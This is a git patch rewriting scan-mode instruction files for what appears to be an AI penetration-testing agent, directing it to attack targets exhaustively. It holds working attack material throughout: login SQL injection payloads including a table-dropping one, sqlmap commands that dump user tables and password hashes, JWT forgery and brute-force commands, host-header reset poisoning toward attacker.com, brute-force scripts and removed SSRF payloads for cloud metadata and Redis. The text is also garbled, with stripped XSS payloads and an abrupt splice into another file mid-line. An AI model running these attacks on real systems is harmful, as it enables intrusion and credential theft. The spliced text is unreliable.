From 948a11e75b3a0e7f5a8b3910dd40fb12b7d1a254 Mon Sep 17 00:00:00 2001 From: root Date: Sat, 4 Apr 2026 21:14:20 +0200 Subject: [PATCH] =?UTF-8?q?World-class=20review:=20rewrite=20scan=20modes?= =?UTF-8?q?=20(deep=20368=E2=86=921237,=20standard=20307=E2=86=92773,=20qu?= =?UTF-8?q?ick=20270=E2=86=92536)=20with=20raw=20HTTP=20mandates,=20think-?= =?UTF-8?q?tool=20enforcement,=20per-phase=20completion=20gates,=20real=20?= =?UTF-8?q?exploitation=20proof=20requirements,=20and=20enhanced=20mfa=5Fb?= =?UTF-8?q?ypass=20with=20full=20bypass=20testing=20methodology?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- strix/skills/scan_modes/deep.md | 1457 ++++++++++++++++---- strix/skills/scan_modes/quick.md | 658 ++++++--- strix/skills/scan_modes/standard.md | 886 +++++++++--- strix/skills/vulnerabilities/mfa_bypass.md | 424 +++++- 4 files changed, 2663 insertions(+), 762 deletions(-) diff --git a/strix/skills/scan_modes/deep.md b/strix/skills/scan_modes/deep.md index e235802b..965e94ed 100644 --- a/strix/skills/scan_modes/deep.md +++ b/strix/skills/scan_modes/deep.md @@ -1,368 +1,1237 @@ --- name: deep -description: Exhaustive multi-pass security assessment with UI-driven exploration, recursive deepening through 4 passes, mandatory real-impact validation, zero-tolerance false positives, and military-grade coverage enforcement +description: Supreme exhaustive multi-pass security assessment — 8 mandatory phases, 4 recursive passes, UI-driven exploration, mandatory raw HTTP evidence, think-tool-before-every-decision, zero-tolerance false positives, and absolute endpoint coverage enforcement --- -# Deep Testing Mode — Maximum Depth, Zero Misses +# Deep Testing Mode — Maximum Depth, Zero Misses, Zero False Positives -This mode executes the deepest, most exhaustive security assessment possible. It is the equivalent of a team of elite penetration testers spending weeks on a single target. Every endpoint tested. Every parameter probed. Every finding validated with real exploitation proof. No shortcuts. No guessing. No false positives. +Deep mode is the most powerful assessment Strix can perform. It is the equivalent of an elite red team spending weeks on a single target. Every endpoint tested. Every parameter probed. Every finding proven with real end-to-end exploitation. Every report contains complete raw HTTP evidence. No shortcuts. No guessing. No false positives. No incomplete passes. --- -## Core Philosophy +## SUPREME RULES — NON-NEGOTIABLE IN DEEP MODE -**Coverage over speed**: Every single endpoint, parameter, and feature must be tested. An untested endpoint is a potential miss. +RULE 1: THINK TOOL IS MANDATORY before every major decision — before reporting any vulnerability, before calling agent_finish, before concluding an endpoint is clean. -**Real impact over theoretical findings**: Every reported vulnerability must have a demonstrated, concrete, real-world business impact. If you cannot demonstrate the impact, you cannot report it. +RULE 2: RAW HTTP IS MANDATORY — every potential finding must have the COMPLETE raw HTTP request (all headers + full body) AND the COMPLETE raw HTTP response (status + all headers + full body) captured before any report is submitted. -**UI-first, always**: Modern applications are built around user interfaces. API testing without UI exploration misses entire feature surfaces. The UI is the ground truth. +RULE 3: 4 PASSES MANDATORY — the scan NEVER completes with fewer than 4 recursive passes (Broad Discovery → Advanced Bypass → Expert Techniques → Final Validation). -**Recursive deepening**: One pass is never enough. The first pass finds low-hanging fruit. The second pass finds what survived basic defenses. The third and fourth passes find what only expert techniques can reach. +RULE 4: UI FIRST — navigate and interact with every UI element before testing the underlying API. + +RULE 5: REAL EXPLOITATION ONLY — no theoretical findings. No scanner-only findings. Every report requires end-to-end exploitation with tangible output. + +RULE 6: ENDPOINT CHECKLIST = 100% — the scan CANNOT complete unless /workspace/endpoint_checklist.md shows 100% coverage. --- -## Phase 0: Exhaustive Intelligence & Recon +## Phase 0: Exhaustive Intelligence & Recon — MANDATORY FIRST -This phase builds the complete attack surface map. NOTHING is tested until this is complete. +This phase builds the complete attack surface map. NOTHING is tested until Phase 0 is complete and /workspace/recon_report.md is saved. -### Documentation & API Spec Exhaustion -- Read robots.txt — every disallowed path is a priority target -- Parse sitemap.xml and all linked sub-sitemaps -- Attempt all known documentation paths: /swagger, /swagger-ui, /swagger-ui.html, /swagger.json, /swagger.yaml, /api-docs, /api/docs, /api/openapi, /openapi.json, /openapi.yaml, /v1/docs, /v2/docs, /redoc, /docs, /documentation, /.well-known/openid-configuration, /.well-known/oauth-authorization-server -- Attempt GraphQL introspection at: /graphql, /api/graphql, /graphql/v1, /graphql/v2, /gql, /query -- Read help center, developer documentation, blog posts — they reveal features automated scanning misses -- Extract all API endpoints, parameters, authentication methods, and business flows from documentation - -### JavaScript Bundle Analysis (Deep) +### Documentation Discovery — Exhaust ALL Known Paths ```bash -# Download all JS files -katana -u https://target.com -jc -o /workspace/js_urls.txt -wget -i /workspace/js_urls.txt -P /workspace/js_files/ +# Try ALL documentation paths — record every hit +doc_paths=( + /robots.txt /sitemap.xml /sitemap_index.xml + /swagger /swagger-ui /swagger-ui.html /swagger.json /swagger.yaml + /api-docs /api/docs /api/documentation /docs /documentation + /openapi.json /openapi.yaml /api/openapi.json /api/openapi.yaml + /v1/docs /v2/docs /v3/docs /api/v1/docs /api/v2/docs + /redoc /api/schema /schema.json /api/spec + /graphql /api/graphql /gql /query /graphiql + /.well-known/openid-configuration /.well-known/oauth-authorization-server + /.well-known/jwks.json /auth/keys /api/keys/public +) +for path in "${doc_paths[@]}"; do + status=$(curl -so /dev/null -w "%{http_code}" "https://target.com${path}") + if [[ "$status" != "404" ]]; then + echo "HIT: ${path} → ${status}" | tee -a /workspace/doc_hits.txt + curl -s "https://target.com${path}" > "/workspace/docs${path//\//_}.json" 2>/dev/null + fi +done +``` -# Deobfuscate and beautify -js-beautify /workspace/js_files/*.js -o /workspace/js_deobfuscated/ +Parse EVERY found API spec: extract all endpoints, parameters, authentication schemes, and business flows. Record every discovered endpoint in /workspace/endpoint_checklist.md immediately. -# Extract API endpoints -grep -rhoE "(api|endpoint|url|path|fetch|axios|http)\s*[=:]\s*['\"][^'\"]{5,}['\"]" /workspace/js_deobfuscated/ | sort -u +### JavaScript Bundle Analysis — Deep (MANDATORY) +```bash +# Download ALL JavaScript files +katana -u https://target.com -jc -kf -d 10 -o /workspace/js_urls.txt +wget -q -i /workspace/js_urls.txt -P /workspace/js_files/ --no-clobber -# Extract secrets and API keys -trufflehog filesystem /workspace/js_files/ -grep -rhoE "(api_key|apikey|secret|token|password|auth)['\"\s:=]+[A-Za-z0-9]{16,}" /workspace/js_deobfuscated/ +# Beautify and deobfuscate ALL JS files +for f in /workspace/js_files/*.js; do + js-beautify "$f" > "/workspace/js_deobfuscated/$(basename $f)" +done -# Retire.js for vulnerable libraries -retire --js --jspath /workspace/js_files/ +# Extract ALL API endpoints from deobfuscated JS +grep -rhoE "['\"`](\/[a-zA-Z0-9_\-\/]{3,})['\"`]" /workspace/js_deobfuscated/ \ + | grep -E "/(api|v[0-9]|rest|graphql|auth|admin|user|account)" \ + | sort -u > /workspace/js_endpoints.txt + +# Extract secrets and sensitive data +trufflehog filesystem /workspace/js_files/ --json > /workspace/secrets_found.json +grep -rhoiE "(apikey|api_key|secret|token|password|auth|bearer|private)['\"\s:=]+[A-Za-z0-9\-_=+/]{16,}" \ + /workspace/js_deobfuscated/ | sort -u > /workspace/potential_secrets.txt + +# Detect vulnerable libraries +retire --js --jspath /workspace/js_files/ --outputformat json > /workspace/retire_results.json + +# Find GraphQL operations embedded in JS +grep -rhoE "(query|mutation|subscription)\s+\w+\s*\{[^}]{0,500}\}" /workspace/js_deobfuscated/ \ + > /workspace/graphql_operations.txt + +# Find WebSocket endpoint URLs +grep -rhoE "(ws|wss)://[a-zA-Z0-9\._\-/:?=&]+" /workspace/js_deobfuscated/ | sort -u \ + > /workspace/websocket_endpoints.txt + +# Extract NEXT_DATA / env variables leaked into frontend +grep -rhoE "(NEXT_PUBLIC_|REACT_APP_|VITE_)[A-Z_]+=.{0,100}" /workspace/js_deobfuscated/ \ + >> /workspace/potential_secrets.txt ``` ### Full Attack Surface Enumeration -- Subdomain enumeration: `subfinder -d target.com -all -recursive -o /workspace/subdomains.txt` -- Resolve all subdomains: `httpx -l /workspace/subdomains.txt -title -tech-detect -status-code -o /workspace/live_subdomains.txt` -- Port scanning: `naabu -iL /workspace/live_subdomains.txt -p - -o /workspace/open_ports.txt` (all ports) -- Directory/file discovery with multiple wordlists: - ```bash - ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200,204,301,302,307,403 -o /workspace/dirscan.txt - ``` -- Parameter discovery on all endpoints: `arjun -i /workspace/endpoints.txt -o /workspace/parameters.json` -- Technology fingerprinting: `wafw00f https://target.com`, `httpx -l /workspace/live_subdomains.txt -tech-detect` -- Check all common sensitive paths: /.git/, /.env, /.htaccess, /config.json, /appsettings.json, /web.config, /backup.zip, /db.sql, /admin, /phpinfo.php, /server-status, /server-info +```bash +# Subdomain enumeration — exhaustive +subfinder -d target.com -all -recursive -t 100 -o /workspace/subdomains_raw.txt +cat /workspace/subdomains_raw.txt | httpx -title -tech-detect -status-code -follow-redirects \ + -o /workspace/live_subdomains.txt -### Endpoint Checklist Creation (MANDATORY) -Create /workspace/endpoint_checklist.md with every discovered endpoint categorized and marked 'pending'. This checklist is the ground truth for scan completeness. The scan CANNOT complete without 100% coverage. +# Port scanning on all live subdomains — all ports +naabu -iL <(awk '{print $1}' /workspace/live_subdomains.txt) -p - \ + -o /workspace/open_ports.txt + +# Comprehensive directory enumeration +ffuf -u https://target.com/FUZZ \ + -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ + -mc 200,204,301,302,307,401,403 \ + -fs 0 -t 100 \ + -o /workspace/dirscan.json -of json + +# Parameter discovery on all API endpoints +arjun -i /workspace/js_endpoints.txt -t 20 -q -o /workspace/discovered_params.json + +# Sensitive file exposure check +sensitive_paths=( + /.git/config /.git/HEAD /.env /.env.local /.env.production + /config.json /appsettings.json /web.config /config.php + /backup.zip /backup.sql /db.sql /dump.sql + /phpinfo.php /info.php /server-status /server-info /_status + /admin /wp-admin /wp-login.php /administrator /manage + /.htaccess /.htpasswd /crossdomain.xml /clientaccesspolicy.xml +) +for path in "${sensitive_paths[@]}"; do + status=$(curl -so /dev/null -w "%{http_code}" "https://target.com${path}") + [[ "$status" != "404" ]] && echo "${path}: ${status}" >> /workspace/sensitive_hits.txt +done + +# WAF detection +wafw00f https://target.com -o /workspace/waf_result.txt +``` + +### Build Complete Endpoint Checklist +Create /workspace/endpoint_checklist.md with EVERY discovered endpoint. +Format: `[ ] [METHOD] [PATH] — [type: public/auth/admin/api/upload/ws/gql] — pending` +NEVER begin Phase 1 testing until this checklist is complete. --- -## Phase 1: Pre-Authentication Testing +## Phase 1: Pre-Authentication Testing — Complete Coverage -### UI-First Pre-Auth Exploration -Open headless browser. Navigate to target. Click every visible element. Document all public pages. Take screenshots of every page. +### Mandatory UI Walkthrough First +``` +1. Open headless browser → navigate to target home page → take screenshot +2. Identify ALL visible UI elements without login: links, forms, buttons, modals +3. Click every element → observe and screenshot every result +4. Record ALL network requests made via proxy +5. Document every public page, form, and feature +``` -### Authentication Surface Testing -- **Login bypass**: - - SQLi: `' OR '1'='1'--`, `admin'--`, `' OR 1=1#`, `admin'/*` - - Parameter manipulation: add `?authenticated=true`, `?admin=true`, `?role=admin` to login URL - - Response manipulation via proxy: change `{"success":false}` to `{"success":true}` - - Timing attacks: compare response time for valid vs invalid usernames (> 100ms difference = enumeration) - -- **Registration flaws**: - - Duplicate email registration — does it reveal whether email exists? - - Email verification bypass: skip verification step, access authenticated area directly - - Mass assignment: add `"role":"admin"`, `"isAdmin":true`, `"verified":true` to registration body - - Password strength: test `a`, `1`, `password`, `12345678` — which are accepted? - -- **Password reset**: - - Token predictability: request multiple tokens, analyze for patterns or sequential values - - Token reuse: use same reset token twice - - Token expiry: use token 24 hours later - - Host header injection: change Host header to `attacker.com` — does reset link go to attacker's domain? - - Token leakage via Referer: is token in URL that gets leaked to third-party scripts? +### Authentication Attack Surface — Test ALL -- **Rate limiting audit**: - ```python - import asyncio, aiohttp - async def test_rate_limit(url, payload, n=200): - async with aiohttp.ClientSession() as session: - tasks = [session.post(url, json=payload) for _ in range(n)] - results = await asyncio.gather(*tasks) - statuses = [r.status for r in results] - print(f"Status distribution: {dict(Counter(statuses))}") - asyncio.run(test_rate_limit("https://target.com/login", {"email":"a@b.com","password":"wrong"})) - ``` +**Login Bypass — Exhaustive:** +```python +# SQL injection in all login form fields +login_sqli_payloads = [ + "' OR '1'='1'--", + "admin'--", + "' OR 1=1#", + "admin'/*", + "') OR ('1'='1", + "1' OR '1'='1' LIMIT 1--", + '" OR "1"="1"--', + "admin'; DROP TABLE users--", # Detects MySQL error handling +] + +# Parameter manipulation +login_param_bypass = [ + "?authenticated=true", + "?admin=true", + "?role=admin", + "?debug=true", + "?override=1", +] + +# Response manipulation: use proxy to change {"success":false} → {"success":true} +# Test 403/401 response body replacement +``` + +**Registration Flaws:** +```python +# Mass assignment in registration body +mass_assignment_fields = { + "role": "admin", + "isAdmin": True, + "is_admin": True, + "admin": True, + "verified": True, + "emailVerified": True, + "status": "active", + "permissions": ["admin", "superuser"], + "privilege": 9, + "level": 999, + "access_level": "super_admin" +} +# Send normal registration + each field above, observe response +``` + +**Password Reset — All Vectors:** +```python +# Host header injection +headers_to_test = { + "Host": "attacker.com", + "X-Forwarded-Host": "attacker.com", + "X-Host": "attacker.com", + "X-Forwarded-For": "attacker.com", + "Forwarded": "host=attacker.com", +} + +# Token predictability analysis +# Request 5 tokens, analyze for patterns: +tokens = [request_reset_token() for _ in range(5)] +# Check: are they sequential? Do they share prefixes? Are they UUIDs v1 (time-based)? + +# Token reuse test +token = get_reset_token() +use_reset_token(token, "newpassword1") +try_reset_again = use_reset_token(token, "newpassword2") # Should fail +``` + +**Rate Limiting — Demonstrate Viability:** +```python +import asyncio, aiohttp +from collections import Counter + +async def test_rate_limit_with_lockout_check(url, payload, attempts=500): + """ + Tests both rate limiting AND account lockout. + For High-severity reporting: BOTH must be absent. + """ + async with aiohttp.ClientSession() as session: + tasks = [session.post(url, json={**payload, "password": f"wrong{i}"}) + for i in range(attempts)] + results = await asyncio.gather(*tasks, return_exceptions=True) + + statuses = [r.status for r in results if hasattr(r, 'status')] + status_dist = Counter(statuses) + + blocked = status_dist.get(429, 0) + status_dist.get(403, 0) + successful = status_dist.get(200, 0) + + print(f"Total attempts: {attempts}") + print(f"Status distribution: {dict(status_dist)}") + print(f"Blocked (429/403): {blocked}") + print(f"Requests processed (200): {successful}") + + # High severity ONLY if: no rate limit AND no lockout + if blocked == 0 and successful >= 400: + print("HIGH SEVERITY: No rate limiting AND no account lockout — brute force fully viable") + elif blocked > 0: + print(f"RATE LIMIT EXISTS: {blocked}/{attempts} blocked — severity is LOW") + + return status_dist + +asyncio.run(test_rate_limit_with_lockout_check( + "https://target.com/api/auth/login", + {"email": "victim@target.com"}, + attempts=500 +)) +``` + +**Username/Email Enumeration — Precise Measurement:** +```python +import time, requests + +def measure_enumeration(valid_user, invalid_user, endpoint): + results = {} + for label, user in [("valid", valid_user), ("invalid", invalid_user)]: + times = [] + responses = [] + for _ in range(5): # 5 measurements each + start = time.time() + r = requests.post(endpoint, json={"email": user, "password": "wrongpassword"}) + elapsed = time.time() - start + times.append(elapsed) + responses.append({ + "status": r.status_code, + "body": r.text[:200], + "length": len(r.text), + "time": elapsed + }) + results[label] = { + "avg_time": sum(times)/len(times), + "messages": [r["body"] for r in responses], + "statuses": [r["status"] for r in responses] + } + + # Analyze differences + time_diff = abs(results["valid"]["avg_time"] - results["invalid"]["avg_time"]) + msg_diff = results["valid"]["messages"][0] != results["invalid"]["messages"][0] + + print(f"Valid user avg response: {results['valid']['avg_time']:.3f}s") + print(f"Invalid user avg response: {results['invalid']['avg_time']:.3f}s") + print(f"Timing difference: {time_diff:.3f}s (>100ms is significant)") + print(f"Message difference: {msg_diff}") + print(f"Valid messages: {set(results['valid']['messages'])}") + print(f"Invalid messages: {set(results['invalid']['messages'])}") +``` --- ## Phase 2: Authentication & Multi-User Setup -- Register **User A** (normal user) through the UI — record: session cookie, JWT, CSRF token -- Register **User B** (second normal user) through the UI — record: session cookie, JWT, CSRF token -- Attempt admin registration/access — try: default creds, /admin/register, admin invite email links -- Test JWT security: - ```bash - # Test none algorithm - jwt_tool TOKEN -X a - # Test RS256 to HS256 confusion - jwt_tool TOKEN -S hs256 -p "$(curl -s https://target.com/auth/public-key)" - # Brute force JWT secret - jwt_tool TOKEN -C -d /usr/share/wordlists/rockyou.txt - ``` -- Test session token entropy: analyze 20 tokens for predictability using Burp Sequencer equivalent -- Test session fixation: does session ID change after login? - ---- - -## Phase 3: Full Authenticated UI Exploration (DEEPEST PRIORITY) - -### Exhaustive UI Interaction Protocol -This is the most labor-intensive phase and the most important. Every single interactive element must be tested. - -**Page-by-page protocol:** -For EACH page discovered: -1. Take screenshot of the page in its initial state -2. Identify ALL interactive elements (use `document.querySelectorAll('button, a, input, select, textarea, [onclick], [ng-click], [v-on], [data-action]')`) -3. Click/interact with EVERY element and observe the result -4. Monitor network requests via proxy for EVERY interaction -5. Take screenshot after each significant interaction -6. Add any newly discovered endpoints to the endpoint checklist - -**State-changing actions — complete EACH one:** -For every state-changing feature the application has, execute it completely: -- Create resource → record new resource ID → immediately test IDOR on it with User B -- Edit resource → test parameter injection in all editable fields -- Delete resource → test if soft-delete creates orphaned accessible data -- Send message → test if recipient's message is accessible via IDOR by a third user -- Upload file → test extension bypass, stored XSS, path traversal in filename -- Change profile → test all profile fields for XSS, mass assignment -- Generate API key → test key scope and permission bypass -- Export data → test if export includes other users' data -- Change password → test if old sessions are invalidated - ---- - -## Phase 4: Multi-User Attack Simulation - -### IDOR Test Matrix -Build a matrix of: User A's resources × User B's access × each HTTP method - -For EVERY resource User A creates: +### Account Creation — UI ONLY (Take Screenshots of Every Step) ``` -Resource ID: [ID] -User A owns it: YES -User B can GET it: [test with User B's session] -User B can PUT/PATCH it: [test with User B's session] -User B can DELETE it: [test with User B's session] -User B can export it: [test with User B's session] +1. Navigate to /register (or equivalent) in browser +2. Fill in User A details: email=user_a_[timestamp]@mailnull.com, strong password +3. Complete all onboarding (email verification, profile setup) +4. Navigate to /login, log in as User A +5. CAPTURE all cookies, JWT, CSRF tokens from browser DevTools → Network → login response +6. Save ALL captured tokens to /workspace/auth_tokens.md -RESULT: If User B gets 200 AND the response body contains User A's actual data → IDOR confirmed +7. Repeat for User B: email=user_b_[timestamp]@mailnull.com +8. Try admin creation: /admin/register, /admin/signup, default credentials, invite flows ``` -NEVER mark IDOR as confirmed from a 200 status code alone. The response body must contain sensitive data that belongs to User A. - ---- - -## Phase 5: Systematic Vulnerability Testing - -### SQL Injection — Every Parameter +### JWT Security Analysis — Complete ```bash -# Automated detection on all captured endpoints -sqlmap -l /workspace/proxy_requests.txt --batch --level=5 --risk=3 \ - --tamper=space2comment,between,randomcase \ - --technique=BEUSTQ --dbms=mysql \ - -o --output-dir=/workspace/sqlmap_results/ +# Decode JWT and analyze header + payload +jwt_tool ${USER_A_TOKEN} --decode -# Manual testing on high-value endpoints -# Boolean-based blind: -# ?id=1' AND (SELECT SUBSTRING(version(),1,1))='5'--+ -# Time-based blind: -# ?id=1' AND (SELECT SLEEP(5))--+ -# UNION: -# ?id=1' ORDER BY 5--+ (find column count) -# ?id=1' UNION SELECT 1,version(),database(),user(),5--+ +# Test none algorithm (CRITICAL — removes signature requirement) +jwt_tool ${USER_A_TOKEN} -X a +# Expected result if vulnerable: authenticated as admin with forged token + +# RS256 to HS256 key confusion +JWKS_URL="https://target.com/.well-known/jwks.json" +PUBLIC_KEY=$(curl -s ${JWKS_URL} | python3 -c "import json,sys,base64; d=json.load(sys.stdin); print(d['keys'][0]['n'])") +jwt_tool ${USER_A_TOKEN} -S hs256 -p "${PUBLIC_KEY}" + +# Weak secret brute force +jwt_tool ${USER_A_TOKEN} -C -d /usr/share/wordlists/rockyou.txt + +# Claim manipulation +# Decode → modify role/sub/admin claim → re-encode → test +jwt_tool ${USER_A_TOKEN} -T # Tamper mode ``` -### XSS — Context-Aware Testing -Test every input in every context: -- HTML text context: `` -- Attribute context: `" autofocus onfocus=alert(1) x="` -- JavaScript context: `"-alert(1)-"` -- URL context: `javascript:alert(1)` -- CSS context: `expression(alert(1))` (IE legacy) -- SVG context: `` +### Populate User A's Resources (For IDOR Testing) +As User A, create at least one of each resource type: +- Post/message/note with private content +- Uploaded file +- API key or access token +- Profile data with specific PII +- Any other object the application supports -For every XSS candidate: **must confirm execution in headless browser** — reflection in source is NOT sufficient. +Record ALL resource IDs to /workspace/user_a_resources.md. + +--- + +## Phase 3: Full Authenticated UI Exploration — HIGHEST PRIORITY + +### Exhaustive Interaction Protocol + +Use this checklist for every page discovered: +``` +For EACH page: +[ ] Take screenshot of page in initial state +[ ] Run: document.querySelectorAll('button,a,[onclick],[ng-click],[v-on],[data-action],[role=button]') +[ ] Click EVERY clickable element — observe result — take screenshot +[ ] Open EVERY modal, dialog, drawer, tooltip, popover +[ ] Fill EVERY form with valid data → submit → record HTTP request +[ ] Fill EVERY form with invalid data → observe error handling +[ ] Monitor ALL network requests via proxy during each interaction +[ ] Add ALL newly discovered endpoints to /workspace/endpoint_checklist.md +``` + +### State-Changing Actions — Execute ALL That Apply +For every action below, perform it through the UI AND capture the full HTTP request/response: + +| Action | What to Capture | IDOR Test After? | +|--------|-----------------|-----------------| +| Create resource | New resource ID + URL | YES — immediately test with User B | +| Edit resource | Edit endpoint + parameters | YES — test with User B's session | +| Delete resource | Delete endpoint + ID | YES — can User B delete User A's items? | +| Send message | Message ID + recipient | YES — can User C read? | +| Upload file | File URL + access path | YES — is URL guessable? | +| Change email | Change endpoint + CSRF check | YES — CSRF PoC | +| Change password | Change endpoint + session invalidation | YES — old sessions still valid? | +| Generate API key | Key ID + token value | YES — key scoping issues? | +| Export data | Export URL + contents | YES — does export include other users' data? | +| Invite user | Invite endpoint + permissions | YES — can you over-privilege the invitee? | +| Make payment | Payment endpoint + amounts | YES — price manipulation? | + +### Admin Panel — Systematic Discovery +```bash +admin_paths=( + /admin /admin/ /administrator /manage /management + /dashboard/admin /panel /control /cp /backend + /cms /wp-admin /staff /internal /ops /superadmin + /root /system /backstage /moderator /support/admin + /helpdesk /console /portal/admin /api/admin +) +for path in "${admin_paths[@]}"; do + # Test with User A's session (regular user) + user_a_status=$(curl -so /dev/null -w "%{http_code}" \ + -H "Cookie: ${USER_A_COOKIE}" "https://target.com${path}") + echo "${path}: ${user_a_status}" >> /workspace/admin_panel_check.txt +done +``` + +--- + +## Phase 4: Multi-User Attack Simulation — IDOR MATRIX + +### Build the IDOR Test Matrix -### SSRF — URL Parameter Exhaustion -Test every parameter that accepts a URL or hostname: ```python -ssrf_payloads = [ - "http://169.254.169.254/latest/meta-data/", # AWS IMDSv1 - "http://169.254.169.254/latest/meta-data/iam/security-credentials/", - "http://metadata.google.internal/computeMetadata/v1/", # GCP - "http://169.254.169.254/metadata/instance?api-version=2021-02-01", # Azure - "http://127.0.0.1/", - "http://localhost/", - "http://[::1]/", - "http://0x7f000001/", # 127.0.0.1 in hex - "http://2130706433/", # 127.0.0.1 in decimal - f"http://{interactsh_id}.oast.fun/", # OOB callback - "file:///etc/passwd", - "gopher://localhost:6379/_INFO", # Redis +import requests + +# Load User A resources and User B session from /workspace files +user_a_resources = load_resources("/workspace/user_a_resources.md") +user_b_cookie = load_auth("/workspace/auth_tokens.md", "user_b")["cookie"] + +def test_idor_complete(resource_url, resource_id, user_a_session, user_b_session): + """ + Complete IDOR test — MUST verify response BODY, not just status code. + + REMEMBER: 200 OK from User B is NOT proof of IDOR. + Proof requires: User B's response body contains User A's ACTUAL private data. + """ + # Step 1: Get User A's own resource to know what it contains + user_a_resp = requests.get( + f"{resource_url}/{resource_id}", + headers={"Cookie": f"session={user_a_session}"} + ) + user_a_data = user_a_resp.json() + + # Extract unique identifiers from User A's data + user_a_markers = { + "email": user_a_data.get("email", ""), + "username": user_a_data.get("username", ""), + "name": user_a_data.get("name", ""), + "private_field": str(user_a_data)[:100] + } + + # Step 2: Try with User B's session + user_b_resp = requests.get( + f"{resource_url}/{resource_id}", + headers={"Cookie": f"session={user_b_session}"} + ) + + print(f"\n{'='*60}") + print(f"IDOR TEST: {resource_url}/{resource_id}") + print(f"User B HTTP Status: {user_b_resp.status_code}") + + if user_b_resp.status_code == 200: + body = user_b_resp.text + + # Step 3: CRITICAL — check if response contains User A's actual data + for key, value in user_a_markers.items(): + if value and value in body: + print(f"✅ CONFIRMED IDOR: User B sees User A's {key}: '{value}'") + print(f"User B Response: {body[:500]}") + + # Capture raw HTTP evidence + print(f"\n[RAW REQUEST - USER B]") + print(f"GET {resource_url}/{resource_id} HTTP/1.1") + print(f"Cookie: session={user_b_session[:20]}...") + print(f"\n[RAW RESPONSE - USER B]") + print(f"HTTP/1.1 {user_b_resp.status_code} OK") + for h, v in user_b_resp.headers.items(): + print(f"{h}: {v}") + print(f"\n{body[:1000]}") + return True, user_a_markers, body + + print(f"❌ NOT IDOR: User B got 200 but User A's data NOT present in response") + print(f"User B body: {body[:200]}") + else: + print(f"❌ Properly blocked: HTTP {user_b_resp.status_code}") + + return False, None, None + +# Test ALL HTTP methods for each resource +for resource_id, resource_url in user_a_resources.items(): + for method in ["GET", "PUT", "PATCH", "DELETE"]: + try: + r = requests.request(method, f"{resource_url}/{resource_id}", + headers={"Cookie": f"session={user_b_cookie}", + "Content-Type": "application/json"}, + json={"data": "test_modification"}) + print(f"{method} {resource_url}/{resource_id}: {r.status_code}") + except Exception as e: + print(f"Error: {e}") +``` + +--- + +## Phase 5: Systematic Deep Vulnerability Testing + +### SQL Injection — Every Parameter, Every Technique +```bash +# Automated scan on all captured proxy requests +sqlmap -l /workspace/proxy_requests.txt \ + --batch \ + --level=5 \ + --risk=3 \ + --tamper=space2comment,between,randomcase,charunicodeescape \ + --technique=BEUSTQ \ + --dbms=mysql,postgresql,mssql,oracle,sqlite \ + --threads=10 \ + --output-dir=/workspace/sqlmap_results/ + +# For each confirmed injection point — extract data as proof +sqlmap -u "https://target.com/api/users?id=1" \ + --dbms=mysql \ + --dump-all \ + --batch \ + -D targetdb \ + -T users \ + -C "id,email,password_hash,role" +``` + +Manual deep testing for WAF-protected endpoints: +```sql +-- MySQL WAF bypass payloads +' /*!OR*/ '1'='1'--+ +' /*!UNION*/ /*!SELECT*/ 1,version(),3--+ +'||'1'='1 +' AND (SELECT SLEEP(5))--+ -- Time-based +' AND 1=0 UNION SELECT NULL,@@version,NULL--+ + +-- PostgreSQL +'; SELECT pg_sleep(5)-- +' AND (SELECT 1 FROM pg_sleep(5))=1-- + +-- MSSQL +'; WAITFOR DELAY '0:0:5'-- +``` + +Time-based CONFIRMATION PROTOCOL: +```python +# Time-based SQLi MUST be confirmed 5 times — NEVER report from a single timing +import time, requests, statistics + +def confirm_time_based_sqli(url, param, payload, baseline_param): + results = {"baseline": [], "injected": []} + + for _ in range(5): + # Baseline + start = time.time() + requests.get(url, params={param: baseline_param}) + results["baseline"].append(time.time() - start) + + # Injected + start = time.time() + requests.get(url, params={param: payload}) + results["injected"].append(time.time() - start) + + avg_baseline = statistics.mean(results["baseline"]) + avg_injected = statistics.mean(results["injected"]) + + print(f"Baseline avg: {avg_baseline:.3f}s (all: {[f'{t:.2f}' for t in results['baseline']]})") + print(f"Injected avg: {avg_injected:.3f}s (all: {[f'{t:.2f}' for t in results['injected']]})") + print(f"Delay: {avg_injected - avg_baseline:.3f}s") + + if avg_injected > avg_baseline + 4.5: # At least 4.5s delay + print("✅ TIME-BASED SQLI CONFIRMED (5x average confirms statistical significance)") + return True + print("❌ Timing not statistically significant") + return False +``` + +### XSS — All 6 Contexts, Browser Execution Mandatory +```python +# Context detection probe +canary = f"xss_probe_{int(time.time())}_\"'>', + '', + '
', + '

/dev/null | grep "WAF" +``` + +### White-Box (source available): +```bash +# Find highest-risk code patterns +grep -rn "eval\|exec\|system\|shell_exec\|subprocess\|os\.system" src/ --include="*.py" --include="*.php" --include="*.js" -l +grep -rn "innerHTML\|document\.write\|dangerouslySetInnerHTML\|v-html" src/ -l +grep -rn "raw_query\|execute\|whereRaw\|format\(.*SELECT" src/ -l +grep -rn "render_template_string\|jinja2\.Template\|eval\(" src/ --include="*.py" -l + +# Check recent changes to auth/payments/access control +git log --oneline -50 --diff-filter=M -- "*auth*" "*payment*" "*permission*" "*role*" +git diff HEAD~10 -- "*.py" "*.js" "*.php" | grep "^+" | head -100 + +# Dependency vulnerabilities +trivy fs . --severity HIGH,CRITICAL --format json 2>/dev/null | head -100 +``` + +### Quick Browser Walkthrough (10-15 minutes — MANDATORY) +``` +1. Navigate to home page → identify main features +2. Click main navigation items +3. Log in (create account if needed) → identify authenticated features +4. Note ALL URL patterns and object IDs visible +5. Identify the most sensitive features: messages, payments, profile, admin +6. Create /workspace/endpoint_checklist.md with all discovered endpoints +``` --- -## Phase 2: High-Impact Priority Testing +## Phase 1: Rapid UI Walkthrough (MANDATORY EVEN IN QUICK MODE) -Test in this EXACT priority order. Each item must be fully validated before moving to the next. +``` +1. Navigate to home page as unauthenticated user +2. Click every visible navigation element +3. Register User A account via UI +4. Register User B account via UI +5. Log in as User A +6. Click main navigation items in authenticated view +7. Identify: messaging feature, payment feature, profile/settings, file upload, API keys +8. Create one resource of each type as User A — record all IDs +9. Capture all network requests via proxy +``` -### Priority 1: Broken Access Control (IDOR + Privilege Escalation) +--- -The single highest ROI test in most applications. +## Phase 2: P1 — Broken Access Control (IDOR + Privilege Escalation) -**Setup**: Create two user accounts (User A and User B) via the UI. - -**Rapid IDOR scan**: +### Rapid IDOR Scan ```python -# For every integer ID seen in any API request with User A's session, -# try accessing it with User B's session -def quick_idor_scan(endpoints_with_ids, user_b_cookie): - for url in endpoints_with_ids: 